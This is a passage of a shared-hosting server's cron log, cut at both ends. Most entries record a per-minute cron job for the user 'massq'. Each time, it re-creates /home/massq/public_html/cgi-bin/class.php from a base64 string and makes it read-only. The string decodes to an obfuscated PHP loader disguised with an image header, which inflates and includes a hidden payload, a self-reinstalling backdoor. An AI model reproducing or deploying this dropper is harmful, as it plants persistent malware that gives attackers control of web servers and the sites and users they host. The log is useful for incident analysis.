OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:54:01 server CROND[25017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:55:01 server CROND[25069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:55:01 server CROND[25070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:55:01 server CROND[25071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:56:01 server CROND[25163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:57:01 server CROND[25305]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 04:57:01 server CROND[25306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:58:01 server CROND[25356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:59:01 server CROND[25409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:00:01 server CROND[25458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:00:01 server CROND[25459]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:00:01 server CROND[25460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 05:00:01 server CROND[25461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:01:01 server CROND[25572]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 05:01:01 server CROND[25573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:01:01 server run-parts(/etc/cron.hourly)[25572]: starting 0anacron
Apr 12 05:01:01 server run-parts(/etc/cron.hourly)[25585]: finished 0anacron
Apr 12 05:02:01 server CROND[25739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:03:01 server CROND[25780]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:04:01 server CROND[25829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:05:01 server CROND[25880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:05:01 server CROND[25881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:05:01 server CROND[25883]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 05:05:01 server CROND[25884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:05:01 server CROND[25885]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 12 05:06:01 server CROND[25991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:07:01 server CROND[26126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 